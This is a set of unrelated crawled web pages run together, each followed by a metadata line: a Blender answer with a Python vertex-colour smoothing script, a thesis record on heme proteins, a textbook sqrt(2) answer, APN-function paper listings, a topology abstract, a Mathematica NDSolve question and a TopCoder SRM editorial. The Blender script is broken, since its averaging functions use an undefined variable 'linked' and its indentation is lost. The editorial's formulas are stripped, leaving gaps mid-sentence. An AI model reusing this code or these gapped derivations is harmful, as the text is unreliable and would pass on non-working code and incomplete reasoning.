NOTE : The average is currently calculated based purely on the connected vertices - rather than taking each edge length into account. This should be fine if your mesh is fairly evenly distributed. However, if you need shorter edge links to have more influence on its neighbours then it should be a simple matter of enhancing the 'average_color(...)' function to retrieve the edge length between two vertices to vary each neighbour's influence on the resultant color.
Blend file attached
EDIT : The above script does not work on newer versions of Blender (eg, 2.79.6) due to the Vertex Colors now apparently including the alpha channel. I've developed an add-on that provides this functionality available on a menu option in the Paint menu. See this answer and download the add-on from Vertex Color Blend Add-on
Here is a solution considering the performance issue.
For test purpose I've used 3 meshes with 10 smoothing iterations using lengths barycentric smoothing (considering the lengths is an option and it is faster if you don't use them):
• happy.ply, 540k vertices: 50s
• bunny.ply, original, 36k vertices: 3s
• bunny.ply, decimated, 8k vertices: 0.6s
(I'm using a gamer laptop PC)
The program is calculating things following these steps:
• Precalculation of a lookup table from each vertex to its corresponding loop vertices
• Precalculation of a lookup table from each vertex to its neighbors via its edges
• Precalculation of the lengths weighting ratios
• First calculation of the base colors: as we don't know how you're obtaining these colors, I've chosen to use the colors of the vertex colors. By default it is white (considered as not colored), so non white vertices are considered to be initially colored
• Smoothing: the smoothing is done by edges direct proximity (so the more vertices, the less the propagation is done, in absolute distance point of view: this is visible in the above image)
• Affectation of the calculated colors to the vertex colors
Here is the commented script, including the options description (it applies on the selected mesh considering the vertex colors exist as created before):
import bpy
import time
from collections import defaultdict
from mathutils import Color, Vector
#Create a look up table that creates the correspondance between each vertex and its corresponding faces vertices
def MakeVertsToLoopVerts( obj ):
vertsToLoopVerts = defaultdict( list )
for li, l in enumerate( obj.data.loops ):
vertsToLoopVerts[l.vertex_index].append( li )
return vertsToLoopVerts
#Create a lookup table which allows to follow edges connected vertices
def MakeVertPaths( verts, edges ):
result = defaultdict( list )
#Add the possible paths via edges
for e in edges:
result[e.vertices[0]].append(e.vertices[1])
result[e.vertices[1]].append(e.vertices[0])
return result
#Create a lookup table wich contains the lengths for each vertex to its neighbors
#If not, length may be calculated for each smoothing iteration
def MakeVertPathLength( obj, vertPaths, useLength ):
if useLength:
result = defaultdict( list )
vertices = obj.data.vertices
for v, path in vertPaths.items():
vCo = vertices[v].co
lengths = [(vCo - vertices[n].co).length for n in path]
total = sum( lengths )
amount = len(lengths)
if total == 0:
lengths = [(amount - 1) * (1 / amount) for l in lengths]
else:
lengths = [(1 - l / total) for l in lengths]
result[v] = lengths
return result
return {}
#Determinate if a vertex loop set corresponds to a non neutral color and averages the color including not neutral
def AvgInitialColor( vColors, vColIndices, neutralColor, baseColor ):
nonNeutral = any( vColors.data[li].color != neutralColor for li in vColIndices )
if nonNeutral:
return True, sum( [vColors.data[li].color for li in vColIndices], Color() ) / len(vColIndices)
else:
return False, baseColor
#Determinate if a vertex loop set corresponds to a non neutral color and averages the color which is not neutral
def AvgInitialColorNonNeutral( vColors, vColIndices, neutralColor, baseColor ):
nonNeutral = [li for li in vColIndices if vColors.data[li].color != neutralColor]
if nonNeutral:
return True, sum( [vColors.data[li].color for li in nonNeutral], Color() ) / len(nonNeutral)
else:
return False, baseColor
#Calculate base colors for both initially colored vertices and not colored verticles
def AvgColorForNonNeutral( vColors, vertsToLoopVerts, neutralColor, baseColor, useNeutral ):
isColored = {}
colors = {}
if useNeutral:
for v, lvs in vertsToLoopVerts.items():
isColored[v], colors[v] = AvgInitialColor( vColors, lvs, neutralColor, baseColor )
else:
for v, lvs in vertsToLoopVerts.items():
isColored[v], colors[v] = AvgInitialColorNonNeutral( vColors, lvs, neutralColor, baseColor )
return isColored, colors
#Average the vertex color with its neighbors colors
def AvgColor( v, colors, vertPaths ):
return sum( (colors[i] for i in linked), colors[v] ) / (1 + len(linked))
#Average the vertex color with its neighbors colors and using lengths ponderation
def AvgColorUsingLength( v, colors, vertPaths, vertPathLengths ):
lengths = vertPathLengths[v]
return sum( (l*colors[i] for i, l in zip( linked, lengths )), colors[v] ) / len(linked)
#An iteration of smoothing
def AvgColorsOneIteration( isColored, colors, vertPaths, avgInitialColors, useLength, vertPathLengths ):
newColors = {}
for v, info in colors.items():
#If initially colored and option is not to average it
if isColored[v] and not avgInitialColors:
newColors[v] = colors[v]
elif useLength:
newColors[v] = AvgColorUsingLength( v, colors, vertPaths, vertPathLengths )
else:
newColors[v] = AvgColor( v, colors, vertPaths )
return newColors
#Make n iterations of smoothing
def AvgColorsIterations( iterations, isColored, colors, vertPaths, avgInitialColors, useLength, vertPathLengths ):
for i in range( iterations ):
colors = AvgColorsOneIteration( isColored, colors, vertPaths, avgInitialColors, useLength, vertPathLengths )
return colors
#Set the calculated colors to the vertex colors
def SetToVertexColors( obj, vColors, colors ):
for l in obj.data.loops:
vColors.data[l.index].color = colors[l.vertex_index]
print( '--------------' )
startTime = time.time()
obj = bpy.context.object #The object we want to use (selected one)
vColors = obj.data.vertex_colors['Col'] #The vertex colors (create via the UI before)
neutralColor = Color( (1,1,1) ) #Neutral color indicates if a vertex is colored or not. A vertex is not colored if its initial color is this color (convention)
baseColor = Color( (0,0,0) ) #The base color to set for non colored vertices
useNeutral = False #Indicates if we keep neutral color for the eventual loop indices that are not colored for a colored vertex
useLength = True #Indicates if the lengths between vertices is to take into accound, if not simple average
avgInitialColors = True #Indicates if the initial colors are smoothed or not
iterations = 10 #Number of smoothing iterations
#Precalculation: get a lookup table that associates each vertex to its corresponding per face vertex index
vertsToLoopVerts = MakeVertsToLoopVerts( obj )
print( 'elapse0', time.time() - startTime )
#Precalculation: get a lookup table that contains for each vertex its neighbors considerings edges
vertPaths = MakeVertPaths( obj.data.vertices, obj.data.edges )
print( 'elapse1', time.time() - startTime )
#Precalculation: lengths ponderations
vertPathLengths = MakeVertPathLength( obj, vertPaths, useLength )
print( 'elapse2', time.time() - startTime )
#First color calculation: determinates if each vertex is initially colored and its starting color
isColored, colors = AvgColorForNonNeutral( vColors, vertsToLoopVerts, neutralColor, baseColor, useNeutral )
print( 'elapse3', time.time() - startTime )
#Smoothing iterations
colors = AvgColorsIterations( iterations, isColored, colors, vertPaths, avgInitialColors, useLength, vertPathLengths )
print( 'elapse4', time.time() - startTime )
#Writes the calculated colors to the vertex colors
SetToVertexColors( obj, vColors, colors )
print( 'elapse5', time.time() - startTime )
The file provided here does not include the big meshes because it was over 170MB and giantcowfilms allows at max 30MB:
edit: the updated question contains data file that I'm unable to use (load the npy files crashes Blender).
But from the above code, simply replace:
isColored, colors = AvgColorForNonNeutral( vColors, vertsToLoopVerts, neutralColor, baseColor, useNeutral )
By
isColored, colors = GetInitiallyColored( obj, baseColor )
where isColored is a dictionary vertIndex/Boolean indicating for each vertex if it is initially colored (from your data) and colors is a dictionary vertIndex/color for each vertex based on your data if the vertex belongs to it or set to 'baseColor' if not.
• Thanks! You solution look very promising. My only problem with your solution is that I the vertices with the initial colors have many colors, and can't be defined as "neurtral" only by their colors. My initial data is a list of vertices, and a list of values which I transfer to colors according to the colormap, and the min and max of these vertices data. So I can only identify those vertices by their indices. – Noam Peled Apr 26 '17 at 21:21
• @NoamPeled, yes I guessed that kind of thing. But could you give me a formalized input for that (so, I'll replace the needed parts of the code using it)? – lemon Apr 27 '17 at 5:32
'vertex_colors' is a per face data. It is related to what is called 'loop' in the internal data.
'Per face' means that a vertex is represented one time per face it contributes to in this kind of loop data.
The base loop is 'in obj.data.loops'.
For instance:
[(li, lv.vertex_index) for li, lv in enumerate(obj.data.loops)]
will give the following result which is a list of pairs '(vertex loop index, vertex index)'
[(0, 0), (1, 1), (2, 2), (3, 3), (4, 4), (5, 7), (6, 6), (7, 5), (8, 0), (9, 4), (10, 5), (11, 1), (12, 1), (13, 5), (14, 6), (15, 2), (16, 2), (17, 6), (18, 7), (19, 3), (20, 4), (21, 0), (22, 3), (23, 7)]
The previous list is obtained from a simple cube. So we have 8 vertex indices and 24 (6 faces x 4 vertices per face) loop vertex indices.
You can index:
obj.data.loops[vertex loop index]
and
obj.data.vertices[vertex index]
So for your program, you can:
mesh = cur_obj.data
vcol_layer = mesh.vertex_colors.new('Col')
for li, lv in enumerate(obj.data.loops):
vcol_layer.data[li].color = colors[lv.vertex_index]
This main loops in obj.data.loops also contains information about per face vertex normals.
Vertex colors is a loop.
UV or texture layers are loops too.
• Considering the update/edit of the question, this answer means 'nothing'... but it may contain information that interest others... so I don't delete it. – lemon Apr 21 '17 at 16:36 | 2020-04-09 14:52:50 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3057376444339752, "perplexity": 7518.598234418349}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-16/segments/1585371858664.82/warc/CC-MAIN-20200409122719-20200409153219-00123.warc.gz"} |
https://www.ideals.illinois.edu/handle/2142/22777 | ## Files in this item
FilesDescriptionFormat
application/pdf
9124386.pdf (4MB)
(no description provided)PDF
## Description
Title: pH effects and rebinding pathways in CO adducts of heme proteins Author(s): Braunstein, David Phillip Doctoral Committee Chair(s): Frauenfelder, Hans Department / Program: Physics Discipline: Physics Degree Granting Institution: University of Illinois at Urbana-Champaign Degree: Ph.D. Genre: Dissertation Subject(s): Chemistry, Biochemistry Physics, Molecular Abstract: CO-adducts of heme proteins have IR absorption bands over the range 2200-1900 cm$\sp{-1}$. Flash photolysis can break the Fe-C bond, freeing the ligand. Below the glass-transition temperature of the protein-solvent system, $T\sb{g} \approx$ 185K, heme proteins are frozen into static conformations, and the photolyzed ligand, trapped within the protein, is restricted to the local environment of the binding site. The IR spectra of the bound and photolyzed ligands display several bands that are sensitive to changes in the local structure of the binding site and the pH of the solvent surrounding the protein. Each band represents a distinct conformation substate (CS) of the protein. The kinetics of the geminate rebinding of CO in heme proteins following flash photolysis, below $T\sb{g}$, is well described by a time- and temperature-independent distribution of enthalpic barriers, $g(H)$.The IR spectra of several heme proteins and a model compound are studied statically and kinetically to better understand the connections between the bound ($A$) and photolyzed ($B$) substates of the protein-ligand system. The spectral mapping between the $A$ and the $B$ substates of the MbCO is derived by simultaneously measuring the low temperature CO rebinding kinetics in both sets of bands. The peak enthalpy of the $g(H)$ for rebinding to each $A$ substate, $H\sb{p\sb{A\sb i}}$, is found to pH independent. In addition new substates are found hidden beneath the observable $A$ and $B$ bands. One of these new bands, $A\sb{X}$, may present a more open state of the MbCO structure. The low temperature CO rebinding kinetics to $\alpha\sp{SH}$HbCO and $\beta\sp{SH}$HbCO are also studied. $\alpha\sp{SH}$CO displays a single $A$ band and two $B$ bands. The single $A$ band is shown to actually represent two distinct $CS\sp0$ substates. The photolyzed IR spectrum of the model compound microperoxidase(11)-CO ($\mu$p-CO) is measured for comparison to the $B$ bands of MbCO and the Hb subunits. Finally, the His E7 residue, which is opposite the binding site of the CO, is shown to be nonessential in governing the pH dependence the $A$ substates of a site-directed mutant of MbCO, (Met$\sp{E7}$) MbCO, which has a methionine (Met), in place of the His E7. Issue Date: 1991 Type: Text Language: English URI: http://hdl.handle.net/2142/22777 Rights Information: Copyright 1991 Braunstein, David Phillip Date Available in IDEALS: 2011-05-07 Identifier in Online Catalog: AAI9124386 OCLC Identifier: (UMI)AAI9124386
| 2018-04-25 16:16:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.514651358127594, "perplexity": 8361.842097562903}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-17/segments/1524125947931.59/warc/CC-MAIN-20180425154752-20180425174752-00473.warc.gz"} |
https://www.gradesaver.com/textbooks/math/algebra/college-algebra-10th-edition/chapter-r-section-r-2-algebra-essentials-r-2-assess-your-understanding-page-26/20 | ## College Algebra (10th Edition)
$\sqrt{2} \gt 1.41$
Using a calculator to estimate $\sqrt{2}$ gives: $\sqrt{2} \approx 1.4142$ Note that $1.4142 \gt 1.41$ Thus, $\sqrt{2} \gt 1.41$ | 2018-06-22 00:14:00 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9713020920753479, "perplexity": 1623.8391783872073}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-26/segments/1529267864303.32/warc/CC-MAIN-20180621231116-20180622011116-00570.warc.gz"} |
https://bora.uib.no/bora-xmlui/browse?value=Kaleyski,%20Nikolay%20Stoyanov&type=author | Viser treff 1-9 av 9
• #### Classification of quadratic APN functions with coefficients in F2 for dimensions up to 9
(Journal article; Peer reviewed, 2020)
Almost perfect nonlinear (APN) and almost bent (AB) functions are integral components of modern block ciphers and play a fundamental role in symmetric cryptography. In this paper, we describe a procedure for searching for ...
• #### Deciding EA-equivalence via invariants
(Journal article; Peer reviewed, 2022)
We define a family of efficiently computable invariants for (n,m)-functions under EA-equivalence, and observe that, unlike the known invariants such as the differential spectrum, algebraic degree, and extended Walsh spectrum, ...
• #### Generalization of a class of APN binomials to Gold-like functions
(Journal article; Peer reviewed, 2021)
In 2008 Budaghyan, Carlet and Leander generalized a known instance of an APN function over the finite field F212 and constructed two new infinite families of APN binomials over the finite field F2n , one for n divisible ...
• #### Invariants for EA- and CCZ-equivalence of APN and AB functions
(Journal article; Peer reviewed, 2021)
An (n,m)-function is a mapping from ${\mathbb {F}_{2}^{n}}$ to ${\mathbb {F}_{2}^{m}}$. Such functions have numerous applications across mathematics and computer science, and in particular are used as building blocks ...
• #### A New Family of APN Quadrinomials
(Journal article; Peer reviewed, 2020)
The binomial B(x) = x 3 +βx 36 (where β is primitive in F 2 2) over F 2 10 is the first known example of an Almost Perfect Nonlinear (APN) function that is not CCZ-equivalent to a power function, and has remained unclassified ...
• #### On the behavior of some APN permutations under swapping points
(Journal article; Peer reviewed, 2022)
We define the pAPN-spectrum (which is a measure of how close a function is to being APN) of an (n, n)-function F and investigate how its size changes when two of the outputs of a given function F are swapped. We completely ...
• #### On the Distance Between APN Functions
(Journal article; Peer reviewed, 2020)
We investigate the differential properties of a vectorial Boolean function G obtained by modifying an APN function F . This generalizes previous constructions where a function is modified at a few points. We characterize ...
• #### Partially APN functions with APN-like polynomial representations
(Journal article; Peer reviewed, 2020)
In this paper we investigate several families of monomial functions with APN-like exponents that are not APN, but are partially 0-APN for infinitely many extensions of the binary field F2. We also investigate the differential ...
• #### Towards a deeper understanding of APN functions and related longstanding problems
(Doctoral thesis, 2021-08-24)
This dissertation is dedicated to the properties, construction and analysis of APN and AB functions. Being cryptographically optimal, these functions lack any general structure or patterns, which makes their study very ... | 2022-05-22 20:32:54 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5336500406265259, "perplexity": 2792.714086990413}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662546071.13/warc/CC-MAIN-20220522190453-20220522220453-00251.warc.gz"} |
http://www.math.md/publications/basm/issues/y2013-n2-3/11571/ | RO EN
## Examples of quasitopological groups
Authors: Alexander V. Arhangel'skii, Mitrofan M. Choban
### Abstract
In this paper we construct several examples of completely regular submetrizable quasitopological groups with slightly different combinations of properties, in particular, a countable quasitopological group $G$ with countable $\pi$-weight, countable tightness, countable $\delta$-character, but not first-countable, and a countable quasitopological group $P$ with countable $\pi$-weight, countable tightness, but of uncountable $\delta$-character.
Alexander V. Arhangel’skii
Moscow, Russian Federation
E-mail:
Mitrofan M. Choban
Department of Mathematics
Tiraspol State University
MD-2069, Chi?sin?au
Moldova
E-mail:
0.13 Mb | 2021-10-16 00:36:12 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8096919655799866, "perplexity": 6335.555036722475}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323583087.95/warc/CC-MAIN-20211015222918-20211016012918-00292.warc.gz"} |
https://mathematica.stackexchange.com/questions/136748/chop-intermediate-results-of-ndsolve-after-each-step | # Chop intermediate results of NDSolve after each step [closed]
Using NDSolve for a set of three ordinary differential equations, I ran into the problem that intermediate results quickly develop negligible imaginary parts. I get the error
For the method IDA, only machine real code is available. Unable to continue with complex values or beyond floating-point exceptions.
Unfortunately, the equations themselves are very long and I haven't yet been able to reproduce the issue in a simpler example, so I can't offer an MWE at this point. However, adding the option StepMonitor :> Print[{t, var1[t], var2[t], var3[t]}] to NDSolve gives
{-0.0001,0.020001,0.499998,-0.0000663528}
{-0.0002,0.0200019 +0. I,0.499997 +0. I,-0.0000663555+0. I}
So the iteration fails already in the second step. The imaginary part appears to be due to rounding errors. My question is, is it possible to apply Chop to all variables after each step? Or alternatively, is there a method other than IDA that is equipped to deal with complex numbers?
• NDSolve can work with any numerical black box, not just with symbolic equations. You can use f'[x] == fun[f[x], x] inside NDSolve and have a separate definition fun[fx_?NumericQ, x_?NumericQ] := Chop[...]. This may not be this straightfoward if you have a differential algebraic equation though. – Szabolcs Feb 1 '17 at 17:11
• Would inserting Re[] in the appropriate places be feasible? – J. M.'s technical difficulties Feb 1 '17 at 19:16
• Without a specific example it's hard to give effective suggestions, but IDA method is for DAEs, so your system is a DAE system. (At least NDSolve thinks so.) A possible work-around is to modify the DAE system to an ODE system, here is an example. – xzczd Feb 2 '17 at 1:50
• @J.M.That's the strange thing. I already did. All three ODE's are of the form var'[t] == Re[func[var[t]]], yet the problem persists. – Casimir Feb 2 '17 at 20:37 | 2020-08-10 18:13:18 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.46098655462265015, "perplexity": 1371.3356941457096}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-34/segments/1596439737168.97/warc/CC-MAIN-20200810175614-20200810205614-00572.warc.gz"} |
https://codeforces.com/blog/entry/21112 | ### Zlobober's blog
By Zlobober, 6 years ago,
Hi everybody! It was my first experience of writing problems for TopCoder SRM, hope you liked it. I was a writer of Easy and Medium task in both divisions, subscriber was an author of both Hard tasks. In div1 they were harder than usual, but I hope you still liked them.
#### Div2 easy
This task was just about implementing exactly what is described in the statement. Looks like Python has a built-in support of set comparison. Usually coders using Python have a disadvantage, but in this task it looks more like an advantage :) There are built-in functions for sets in C++ and Java too, I recommend to learn about them even if you successfully submitted this problem.
#### Div2 medium
Knowing strings a and b, we can build a reverse mapping q[d] = c, that maps the encoded letter d to it's original corresponding letter c. For letters that do not appear in b, we remember that we don't know their pre-image. After that, we just apply our mapping q to a string y. If some of letters doesn't have a pre-image, we should return "", otherwise we return q(y).
There is an only special case that appears in sample tests: if we know pre-images of all letters except one, we may still uniquely understand what is its pre-image: it is the only letter that doesn't appear in string a.
#### Div2 hard
This task is an easier version of Div1-hard. In this version it was enough to write a BFS on a graph of all possible states. In this task the state is a set of all already people. Each set can be represented as a binary masks no larger than 218 = 262144 that is small enough to fit in TL.
#### Div1 easy
A first solution coming to a head works in : all we need is to just simulate the process. Suppose we are now standing in number n, the last hour was h, it means that we need to find a first divisor of n or n - 1 larger than f and perform n + + or n – depending on whose (n or n - 1) divisor appears first. Although, one can build a test where number of steps is ~2000, it makes this solution pretty hard to fit in time limit, one of such tests is a last sample test.
The key observation is that when we change our number, we don't need to find divisors of a new number from scratch. The well-known divisor finding algorithm consists of two stages: first we consider all divisors smaller than , then all divisors larger than . If we were on the first stage, then we just need to continue iteration from the same place for a new number. If we are on the second stage, we also continue iterating the second stage with a new number. This works in since our number can't infinitely increase (it can be shown that it can't move further than 2n, actually it doesn't move further than 100).
The other solution was to cache the divisors for all values of n that happen during the execution.
#### Div1 medium
The first observation is that an almost-Eulerian graph can be obtained from a unique Eulerian graph. Indeed, if we have an almost-Eulerian graph G that is not Eulerian, then there exists the only pair of vertices u and v that have an odd degree, the only possible original Eulerian graph G' is (here means inverting the specific edge, adding it or removing it). If G is Eulerian itself, then we obviously can't invert some edge keeping it being Eulerian.
This means that if there are En Eulerian graphs, then there are exactly almost-Eulerian graphs: each Eulerian graph G produces itself and all possible as almost-Eulerian graphs.
Now we need to calculate number of Eulerian graphs on n vertices, En. It's well-known that the graph is Eulerian iff it is connected and all its vertices have even degree. The good idea is to first calculate Dn, the number of graphs with all even degrees. If we succeed in it, we can then calculate En by using inclusion-exclusion principle on Dn.
How many even graphs on n vertices are there? The simplest way to understand that is to remove some vertex from it (let's say, a vertex 1) and notice that the graph on remaining vertices 2, ..., n may contain an arbitrary set of edges. Indeed, if there are some odd vertices among them, then when we return vertex 1 back to the graph, we have to connect it to all odd vertices among 2, ..., n. After that all 2, ..., n become even vertices, and 1 itself also becomes even due to handshake lemma. So, the answer is since there may be any possible set of edges between vertices 2, ..., n and all edges from 1 to the rest of the graph may be uniquely determined.
Now how to calculate En. We know that En = Dn - Rn where Rn is number of disconnected even graphs. Suppose that the connected component that contains vertex number 1 consists of k vertices (obviously, 1 ≤ k ≤ n - 1). Then there are ways to choose k - 1 vertices in this connected component from n - 1 remaining vertices, also there are Ek ways to organize a connected component that has all even degrees and there are Dn - k ways to organize an even graph on the rest of the vertices (note that it may possibly be disconnected if there were 3 or more components in the original graph, that's why we use Dn - k but not En - k here). So, there is a recursive formula: that leads us to an O(n2) DP solution.
#### Div1 hard
I'll describe an approach for this problem very briefly.
What we actually need in this task is to understand how the described process works. We can describe the process in following way. The detective acts almost like a Prim's algorithm: in each step he adds one of the maximal edges between the already visited set and the rest of the vertices in the graph. The only thing that we may adjust is an order of choosing the edges with the equal cost.
At any moment the visited vertices form some part of a maximum spanning tree. Suppose we want to get to vertex x in minimum number of steps. Consider the resulting path between 0 and x. It is a well-known fact that the minimum edge on this number is uniquely defined and is equal to a maximum possible minimum edge among all paths from 0 to x. Suppose the value of this edge is equal to d. We can calculate d by running a Floyd algorithm modification for metric d(u, v) = minimum on path between u and v, that is needed to be maximized.
There are edges of two kinds on a path from 0 to x: those who are equal to d and those who are larger than d. In any situation we prefer larger edges, so when we touch a vertex with some outgoing edges larger than d, we will greedily first visit all those edges. So, let's contract all components connected by edges larger than d.
After contracting all we need is to find a shortest path from 0 to x remembering that each time we visit a vertex, we have to add a size of its connected component described above.
• +103
» 6 years ago, # | +3 How do you prove that the number can move at max 100 ? My idea was to find divisors for [n-500 , n + 500] , but I didnt submit since I couldnt find a proof for this. I came up with this since it was the easy ques and this approach fit the time limit :P
• » » 6 years ago, # ^ | ← Rev. 5 → +9 I can't prove 100, but simple proof that it doesn't move more than 354: before 10^10 there is always at least one prime in every group of 354 consecutive numbers (see wikipedia for prime gaps), and the task will never leave to the right of a prime number.OK, now it's correct :P
• » » » 6 years ago, # ^ | 0 Nice, thanks!
• » » 6 years ago, # ^ | 0 That's an experimental result, although there is an empirical argument that it can't walk further than the average number of divisors of an integer <= 10^12. There are no more than ~2000 divisors for numbers in that range, so it won't walk on a big distance.
• » » 6 years ago, # ^ | ← Rev. 2 → 0 Suppose P is the minimum prime just greater than or equal to n. Now the number can't go beyond P and nearest prime will be at a distance of at most 100. isn't it ?
• » » » 6 years ago, # ^ | 0 ohh sorry, it's 354 actually.
» 6 years ago, # | 0 Thank you for the fast editorial!What is the maximum number of steps in Div1 250, both theoretically and in the actual test set?The 5587021440 from examples is 2047 steps.I managed to find 9777287520 with 2303 steps (I think) but falied to make that a successful challenge.
• » » 6 years ago, # ^ | 0 The numbers that produce the highest number of steps are actually located around the highly composite numbers, so there were several tests (including that you listed) including the one you listed. I don't have a theoretical proof for that fact other that "well, we need to make it hang around the number with many divisors because the divisor function rarely has consecutive high values".As far as I remember, the number you mention has the maximum possible number of steps.
• » » » 6 years ago, # ^ | 0 According to my solution statistics, such tests were not actually included. There are 6983776805 with 1969 steps and 5587021440 with 2047 steps, all others are below 1000. So, the maximal test, in this sense, was not present at all, and the maximal test that was present was in the samples.Here are the program, input and output I used to check that.
» 6 years ago, # | ← Rev. 3 → 0 What are the upper bounds of number of all steps and number of steps that we need to compute divisors?
» 6 years ago, # | +2 if(n<=4) return n; Out of all the reasons why I could fail system test on div1 250...It turns out I read the example too fast and as a result, I read it wrong. Employee 3 is never involved in any swaps: neither with employee 2, nor with employee 4. For some reason I thought "oh yes, employees 2, 3, 4 are not involved in any swaps, and this sample is just giving me 3 free answers, let's hardcode this in so we don't have to think about corner (small) cases".Oops, lost 69 rating because I tried to save 2 seconds of doing examples by hand.
» 6 years ago, # | +10 The bulk of Div1 500 (the number of labeled Eulerian graphs with n nodes) is http://oeis.org/A033678. The first few pages of Graphical Enumeration book mentioned there contain the solution, too.Personally, I appreciate having to learn how to solve it, it's beautiful. Still, I am a bit surprised that the “almost” condition was considered enough to make it a Div1 500.
• » » 6 years ago, # ^ | +13 We judge the difficulty from how hard to get the idea, instead of how complicated the solution is.When we preparing SRM670, subscriber suggest to use Tdetective (today's Hard) as Medium. We thought that task is a bit harder for that slot, he argued: "How can it be a Hard since it is just one dijkstra?" but it turns out no one solve it during today's contest.Today's Medium have a success rate about 10%, so that is hard enough.
• » » » 6 years ago, # ^ | +3 What I am saying is not that the solution is difficult to implement but that the major part of it (namely, the number of labeled Eulerian graphs with n nodes) is easy to Google.
» 6 years ago, # | 0 For Div1 Medium there should be Ek in the recurrent formula in the last sentence. ... also there are Ek ways to organize a connected component that has all even degrees ...
